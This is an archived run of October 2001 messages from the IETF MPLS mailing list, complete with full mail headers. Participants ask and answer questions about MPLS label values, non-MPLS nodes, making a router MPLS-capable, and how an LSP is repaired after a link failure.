Received: from mail.cominsights.com (mail.cominsights.com [64.225.2.217])
	by mail2.registeredsite.com (8.11.6/8.11.6) with ESMTP id f9987Ic11286
	for <mpls@uu.net>; Tue, 9 Oct 2001 04:07:18 -0400
Date: Tue,  9 Oct 2001 05:01:20 -0400
Message-Id: <200110090501.AA2405302374@mail.cominsights.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
From: "krishnakanth.rao" <krishnakanth.rao@mail.cominsights.com>
Reply-To: <krishnakanth.rao@mail.cominsights.com>
To: <mpls@UU.NET>
X-Mailer: <IMail v6.05>
Sender: owner-mpls@UU.NET
Precedence: bulk

Can there be a non MPLS node in an MPLS network, if yes then what happens when a packet reaches a non mpls node

Krishnakanth


From owner-mpls@UU.NET  Tue Oct  9 06:53:59 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA26857
	for <mpls-archive@lists.ietf.org>; Tue, 9 Oct 2001 06:53:59 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljzf03618;
	Tue, 9 Oct 2001 10:53:31 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljzf00577
	for mpls-outgoing; Tue, 9 Oct 2001 10:53:23 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQljzf00572
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 10:53:19 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQljzf07430
	for <mpls@uu.net>; Tue, 9 Oct 2001 10:53:06 GMT
Received: from chimera.elec.qmul.ac.uk by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: chimera.elec.qmul.ac.uk [138.37.32.200])
	id QQljzf13913
	for <mpls@uu.net>; Tue, 9 Oct 2001 10:53:20 GMT
Received: from hongweipc ([138.37.33.58])
	by chimera.elec.qmul.ac.uk with smtp (Exim 3.16 #2)
	id 15quVF-0004oY-00; Tue, 09 Oct 2001 11:52:50 +0100
From: "Hongwei" <hongwei.zhou@elec.qmul.ac.uk>
To: <krishnakanth.rao@mail.cominsights.com>
Cc: <mpls@UU.NET>
Subject: RE: label value type
Date: Tue, 9 Oct 2001 12:02:07 +0100
Message-ID: <MEEJLEKIFLLBNABPKDAOKENGCGAA.hongwei.zhou@elec.qmul.ac.uk>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
In-reply-to: <200110090142.AA1016529190@mail.cominsights.com>
X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Integer values, and values from 0-16 have been reserved. But I think there
are no standards among the device vendors, you can use anything in your
research. anyway, labels are
only locally significant and are used just for identifying LSPs (or FECs).

I appreciate any correction of my comments ;-)

-----Original Message-----
From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of
krishnakanth.rao
Sent: 09 October 2001 06:42
To: mpls@UU.NET
Subject: label value type


What is the range of the label values attached to packets in MPLS, is it an
integer value or is it a string

Krishnakanth



From owner-mpls@UU.NET  Tue Oct  9 06:54:58 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA26870
	for <mpls-archive@lists.ietf.org>; Tue, 9 Oct 2001 06:54:57 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljzf10396;
	Tue, 9 Oct 2001 10:54:39 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljzf00596
	for mpls-outgoing; Tue, 9 Oct 2001 10:54:03 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQljzf00591
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 10:54:02 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQljzf06686
	for <mpls@uu.net>; Tue, 9 Oct 2001 10:53:09 GMT
Received: from chimera.elec.qmul.ac.uk by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: chimera.elec.qmul.ac.uk [138.37.32.200])
	id QQljzf08135
	for <mpls@uu.net>; Tue, 9 Oct 2001 10:53:09 GMT
Received: from hongweipc ([138.37.33.58])
	by chimera.elec.qmul.ac.uk with smtp (Exim 3.16 #2)
	id 15quVG-0004oY-00; Tue, 09 Oct 2001 11:52:50 +0100
From: "Hongwei" <hongwei.zhou@elec.qmul.ac.uk>
To: <krishnakanth.rao@mail.cominsights.com>
Cc: <mpls@UU.NET>
Subject: RE: 
Date: Tue, 9 Oct 2001 12:02:17 +0100
Message-ID: <MEEJLEKIFLLBNABPKDAOMENGCGAA.hongwei.zhou@elec.qmul.ac.uk>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
In-reply-to: <200110090501.AA2405302374@mail.cominsights.com>
X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

i think the non-MPLS node means MPLS edge for a packet that is going to it.
The label should be stripped off before the packet is forwarded to this
node.


-----Original Message-----
From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of
krishnakanth.rao
Sent: 09 October 2001 10:01
To: mpls@UU.NET
Subject:


Can there be a non MPLS node in an MPLS network, if yes then what happens
when a packet reaches a non mpls node

Krishnakanth



From owner-mpls@UU.NET  Tue Oct  9 09:54:05 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA03265
	for <mpls-archive@lists.ietf.org>; Tue, 9 Oct 2001 09:54:05 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljzr27313;
	Tue, 9 Oct 2001 13:52:42 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljzr08656
	for mpls-outgoing; Tue, 9 Oct 2001 13:52:32 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQljzr08651
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 13:52:28 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQljzr11114
	for <mpls@UU.net>; Tue, 9 Oct 2001 13:51:35 GMT
Received: from mailFA11.rediffmail.com by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: [202.54.124.145])
	id QQljzr26990
	for <mpls@UU.net>; Tue, 9 Oct 2001 13:51:49 GMT
Received: (qmail 15702 invoked by uid 510); 9 Oct 2001 13:51:52 -0000
Date: 9 Oct 2001 13:51:52 -0000
Message-ID: <20011009135152.15701.qmail@mailFA11.rediffmail.com>
Received: from unknown (134.193.42.231) by rediffmail.com via HTTP; 09 Oct 2001 13:51:52 -0000
MIME-Version: 1.0
From: "k m a" <technology2001@rediffmail.com>
Reply-To: "k m a" <technology2001@rediffmail.com>
To: <mpls@UU.NET>
Subject: mpls routers
Content-type: text/plain;
	charset=iso-8859-1
Content-Disposition: inline
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id JAA03265


hi all,
can somebody tell me what changes we will need to make or upgradations required in a router to make it MPLS enabled.i mean am talking bout the router architecture,whether we need to revamp the whole architecture or some mere software upgrades will dot he thing.
thanx
k 



From owner-mpls@UU.NET  Tue Oct  9 11:19:44 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA05823
	for <mpls-archive@lists.ietf.org>; Tue, 9 Oct 2001 11:19:43 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljzx13182;
	Tue, 9 Oct 2001 15:18:35 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljzx21556
	for mpls-outgoing; Tue, 9 Oct 2001 15:18:06 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQljzx21544
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 15:17:58 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQljzx09119
	for <mpls@uu.net>; Tue, 9 Oct 2001 15:17:04 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQljzx10926
	for <mpls@uu.net>; Tue, 9 Oct 2001 15:17:09 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id LAA28683 for <mpls@uu.net>; Tue, 9 Oct 2001 11:16:50 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id LAA26885 for mpls@uu.net; Tue, 9 Oct 2001 11:16:50 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQljyo27599
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 06:33:29 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQljyo27823
	for <mpls@UU.NET>; Tue, 9 Oct 2001 06:33:27 GMT
Received: from leonis.nus.edu.sg by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: leonis.nus.edu.sg [137.132.1.18])
	id QQljyo26638
	for <mpls@UU.NET>; Tue, 9 Oct 2001 06:33:36 GMT
Received: from cfcir3 (cf-cir3.ddns.comp.nus.edu.sg [137.132.82.206])
	by leonis.nus.edu.sg (8.10.0/8.10.0) with SMTP id f996WQE24770;
	Tue, 9 Oct 2001 14:32:29 +0800 (SST)
Message-ID: <022601c1508b$d1b8f400$ce528489@cfcir3>
Reply-To: "Ding Aijun" <dingaijun@sina.com>
From: "Ding Aijun" <dingaijun@sina.com>
To: <krishnakanth.rao@mail.cominsights.com>, <mpls@UU.NET>
References: <200110090142.AA1016529190@mail.cominsights.com>
Subject: Re: label value type
Date: Tue, 9 Oct 2001 14:29:53 +0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4807.1700
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

It should be an integer. Actually, if there is some programming technique
that is good at string processing, then the label may be a string.

regards,
aijun

----- Original Message -----
From: "krishnakanth.rao" <krishnakanth.rao@mail.cominsights.com>
To: <mpls@UU.NET>
Sent: Tuesday, October 09, 2001 1:42 PM
Subject: label value type


> What is the range of the label values attached to packets in MPLS, is it
an integer value or is it a string
>
> Krishnakanth
>
>



From owner-mpls@UU.NET  Tue Oct  9 11:39:29 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA06054
	for <mpls-archive@lists.ietf.org>; Tue, 9 Oct 2001 11:39:29 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljzy16731;
	Tue, 9 Oct 2001 15:38:19 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljzy23272
	for mpls-outgoing; Tue, 9 Oct 2001 15:37:45 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQljzy23267
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 15:37:39 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQljzy17541
	for <mpls@UU.NET>; Tue, 9 Oct 2001 15:37:16 GMT
Received: from sandmail.sandburst.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandmail.sandburst.com [216.57.132.42])
	id QQljzy03574
	for <mpls@UU.NET>; Tue, 9 Oct 2001 15:37:30 GMT
Message-ID: <3BC319A5.CC154BD8@sandburst.com>
Date: Tue, 09 Oct 2001 11:37:09 -0400
From: Eric Gray <eric.gray@sandburst.com>
MIME-Version: 1.0
To: krishnakanth.rao@mail.cominsights.com
Cc: mpls@UU.NET
Subject: Re: label value type
References: <200110090142.AA1016529190@mail.cominsights.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Krishnakanth,

    Start here: http://www.ietf.org/html.charters/mpls-charter.html

    Then go to http://www.ietf.org/rfc.html, find and read these:

        RFC 3031
        RFC 3032

    Finally, read various works in progress located at:

        http://www.ietf.org/ids.by.wg/mpls.html

As a general observation, directed at no one in particular, it is a really good
idea to do at least some work on your own...

You wrote:

> What is the range of the label values attached to packets in MPLS, is it an integer value or is it a string
>
> Krishnakanth

--
Eric Gray (mailto:eric.gray@sandburst.com)
http://www.mindspring.com/~ewgray





From owner-mpls@UU.NET  Tue Oct  9 11:50:45 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA06362
	for <mpls-archive@lists.ietf.org>; Tue, 9 Oct 2001 11:50:45 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljzz00959;
	Tue, 9 Oct 2001 15:46:48 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljzz24154
	for mpls-outgoing; Tue, 9 Oct 2001 15:46:15 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQljzz24135
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 15:46:10 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQljzy06404
	for <mpls@UU.NET>; Tue, 9 Oct 2001 15:43:48 GMT
Received: from sandmail.sandburst.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandmail.sandburst.com [216.57.132.42])
	id QQljzy16879
	for <mpls@UU.NET>; Tue, 9 Oct 2001 15:44:02 GMT
Message-ID: <3BC31B32.17CEB0E6@sandburst.com>
Date: Tue, 09 Oct 2001 11:43:46 -0400
From: Eric Gray <eric.gray@sandburst.com>
MIME-Version: 1.0
To: krishnakanth.rao@mail.cominsights.com
Cc: mpls@UU.NET
Subject: Re: 
References: <200110090501.AA2405302374@mail.cominsights.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Krishnakanth,

    I think you can answer these questions yourself, if you take a
moment to define for yourself what the terms - 'MPLS network'
and 'non MPLS node' - mean.  You have to do this much since
the answer depends on your definition.

    As a couple of examples: you could define an MPLS network
as a network consisting only of MPLS nodes or you could define
a non MPLS node as one which is not able to handle labeled data.

You wrote:

> Can there be a non MPLS node in an MPLS network, if yes then what happens when a packet reaches a non mpls node
>
> Krishnakanth

--
Eric Gray (mailto:eric.gray@sandburst.com)
http://www.mindspring.com/~ewgray





From owner-mpls@UU.NET  Tue Oct  9 11:52:08 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA06400
	for <mpls-archive@lists.ietf.org>; Tue, 9 Oct 2001 11:52:08 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljzz27919;
	Tue, 9 Oct 2001 15:49:28 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljzz24377
	for mpls-outgoing; Tue, 9 Oct 2001 15:49:21 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQljzz24368
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 15:49:15 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQljzz04756
	for <mpls@uu.net>; Tue, 9 Oct 2001 15:48:59 GMT
Received: from chimera.elec.qmul.ac.uk by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: chimera.elec.qmul.ac.uk [138.37.32.200])
	id QQljzz26849
	for <mpls@uu.net>; Tue, 9 Oct 2001 15:48:51 GMT
Received: from hongweipc ([138.37.33.58])
	by chimera.elec.qmul.ac.uk with smtp (Exim 3.16 #2)
	id 15qz7b-0000Vj-00; Tue, 09 Oct 2001 16:48:43 +0100
From: "Hongwei" <hongwei.zhou@elec.qmul.ac.uk>
To: <sganguly@opulentsystems.com>
Cc: <mpls@UU.NET>
Subject: RE: 
Date: Tue, 9 Oct 2001 16:58:11 +0100
Message-ID: <MEEJLEKIFLLBNABPKDAOAENNCGAA.hongwei.zhou@elec.qmul.ac.uk>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
In-reply-to: <200110090756310132.21EEEEA5@opulentsystems.com>
X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit


THX for discussion :).  Yes, tunnel may be another idea, but it will more
complicate.  The mpls LERs should be policed to be aware of tunnels, and if
the LERs around the non-mpls island want to share mpls knowledge (such as
labels and TTLs),  every LER has to know which LER across the island is the
next hop. The non-mpls router is a bottleneck if it has to be routed
through.

--hongwei

-----Original Message-----
From: Sukanta Ganguly [mailto:sganguly@opulentsystems.com]
Sent: 09 October 2001 15:57
To: Hongwei
Subject: RE:


Depends on the vendor implemetation. The packet can either tunneled so that
it retains its MPLS tag via a non-MPLS network or the MPLS tag(s) can be
completely removed from the packet in which if the packet travels through a
MPLS island further then new tags have to be inserted and new LSP's have to
be used. In the latter case the sender's MPLS knowledge which as originally
present in the packet is lost.

SG




From owner-mpls@UU.NET  Tue Oct  9 12:13:23 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA06872
	for <mpls-archive@lists.ietf.org>; Tue, 9 Oct 2001 12:13:23 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkaa13118;
	Tue, 9 Oct 2001 16:11:39 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkaa14666
	for mpls-outgoing; Tue, 9 Oct 2001 16:10:56 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlkaa14653
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 16:10:51 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkaa24061
	for <mpls@uu.net>; Tue, 9 Oct 2001 16:10:24 GMT
Received: from [172.16.1.115] by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mdclient1.opnet.com [12.145.55.10])
	id QQlkaa11032
	for <mpls@uu.net>; Tue, 9 Oct 2001 16:10:37 GMT
Received: from wtn10021.opnet.com (unverified) by 
 (Content Technologies SMTPRS 4.2.1) with ESMTP id <T567dc65e5aac10010f608@> for <mpls@uu.net>;
 Tue, 9 Oct 2001 12:08:59 -0400
Message-Id: <5.0.0.25.2.20011009115828.00abdbf0@mail.opnet.com>
X-Sender: skalra@mail.opnet.com
X-Mailer: QUALCOMM Windows Eudora Version 5.0
Date: Tue, 09 Oct 2001 12:10:23 -0400
To: mpls@UU.NET
From: Sachin Kalra <skalra@opnet.com>
Subject: LSP Failure/Recovery
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-mpls@UU.NET
Precedence: bulk

Dear All:

I have a question about LSP Failure/Recovery Mechanism

Let's say
If I have an LSP traversing through 20 routers, and somewhere along the 
path link fails between Router 16 and Router 17. So I believe that in this 
case Router 16 will inform Ingress Router about the link failure and 
Ingress Router will try to reroute the LSP and if it is not able to do that 
then Ingress will fail the LSP.

Now if after some time link between Router 16 and Router 17 comes up again. 
Then
Q1> Will Router 16 inform Ingress Router back that link has recovered?
Q2> If Yes why would it inform the Ingress Router? And How will it know who 
the Ingress Router is? Does it saves the state or some information about 
all the LSPs that once passed through that Router but which are broken now?

Any information is appreciated.

Thanks,
Sachin Kalra



From owner-mpls@UU.NET  Tue Oct  9 12:32:42 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA07329
	for <mpls-archive@lists.ietf.org>; Tue, 9 Oct 2001 12:32:42 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkac14387;
	Tue, 9 Oct 2001 16:31:12 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkac16387
	for mpls-outgoing; Tue, 9 Oct 2001 16:30:41 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkac16382
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 16:30:34 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkab06499
	for <mpls@uu.net>; Tue, 9 Oct 2001 16:29:20 GMT
Received: from fcs-nt1.futsoft.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: fcs-nt1.futsoft.com [66.122.42.228])
	id QQlkab18583
	for <mpls@uu.net>; Tue, 9 Oct 2001 16:29:34 GMT
Received: from sanjose.futsoft.com (unverified) by fcs-nt1.futsoft.com
 (Content Technologies SMTPRS 2.0.15) with SMTP id <B0000401113@fcs-nt1.futsoft.com>;
 Tue, 09 Oct 2001 09:31:35 -0700
Received: from manis (adsl-66-122-42-231.futsoft.com [66.122.42.231])
	by sanjose.futsoft.com (8.9.3/8.8.7) with SMTP id IAA21722;
	Tue, 9 Oct 2001 08:14:57 -0700
Received: by localhost with Microsoft MAPI; Tue, 9 Oct 2001 09:33:29 -0700
Message-Id: <01C150A5.74A54A60.manis@futsoft.com>
From: "S.Manikantan" <manis@futsoft.com>
Reply-To: "manis@futsoft.com" <manis@futsoft.com>
To: "'Sachin Kalra'" <skalra@opnet.com>, "mpls@uu.net" <mpls@UU.NET>
Subject: RE: LSP Failure/Recovery
Date: Tue, 9 Oct 2001 09:33:28 -0700
Organization: Future Communications Software
X-Mailer: Microsoft Internet E-mail/MAPI - 8.0.0.4211
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hello Sachin

If you have a "local repair" support implemented, Router 16 will
reroute the LSP from itself (Router16) to the destination. It is not
required for the rerouting to be done from the Ingress or the head
of the LSP - which is known as "Global repair".

Secondly Router 16 can reroute avoiding Router 17, only when
Router 17 is not an explicit Hop to be reached from Router 16 for
the rerouted LSP

W.r.to your questions, If Router 16, has indicated the ingress
and done the reroute (global repair), It will not indicate the
ingress to reroute again when the link between 16 and 17 comes
up.

Whereas if Router 16 has done a local repair, i.e. has
rerouted the LSPs via some other router to destination say
Router 20 and when the link between 16 and 17 comes up,
Router 16 will/can reestablish (reroute) the link back
via Router 17.

I appreciate any correction of my comments :)

regards
mani

-----Original Message-----
From:	Sachin Kalra [SMTP:skalra@opnet.com]
Sent:	Tuesday, October 09, 2001 9:10 AM
To:	mpls@uu.net
Subject:	LSP Failure/Recovery

Dear All:

I have a question about LSP Failure/Recovery Mechanism

Let's say
If I have an LSP traversing through 20 routers, and somewhere along the 
path link fails between Router 16 and Router 17. So I believe that in this 
case Router 16 will inform Ingress Router about the link failure and 
Ingress Router will try to reroute the LSP and if it is not able to do that 
then Ingress will fail the LSP.

Now if after some time link between Router 16 and Router 17 comes up again. 
Then
Q1> Will Router 16 inform Ingress Router back that link has recovered?
Q2> If Yes why would it inform the Ingress Router? And How will it know who 
the Ingress Router is? Does it saves the state or some information about 
all the LSPs that once passed through that Router but which are broken now?

Any information is appreciated.

Thanks,
Sachin Kalra


From owner-mpls@UU.NET  Tue Oct  9 13:03:57 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA08182
	for <mpls-archive@lists.ietf.org>; Tue, 9 Oct 2001 13:03:57 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkae03634;
	Tue, 9 Oct 2001 17:01:21 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkae22910
	for mpls-outgoing; Tue, 9 Oct 2001 17:01:14 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlkae22887
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 17:01:11 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkae22261
	for <mpls@uu.net>; Tue, 9 Oct 2001 17:01:03 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlkae02672
	for <mpls@uu.net>; Tue, 9 Oct 2001 17:00:54 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id NAA12887 for <mpls@uu.net>; Tue, 9 Oct 2001 13:01:01 -0400 (EDT)
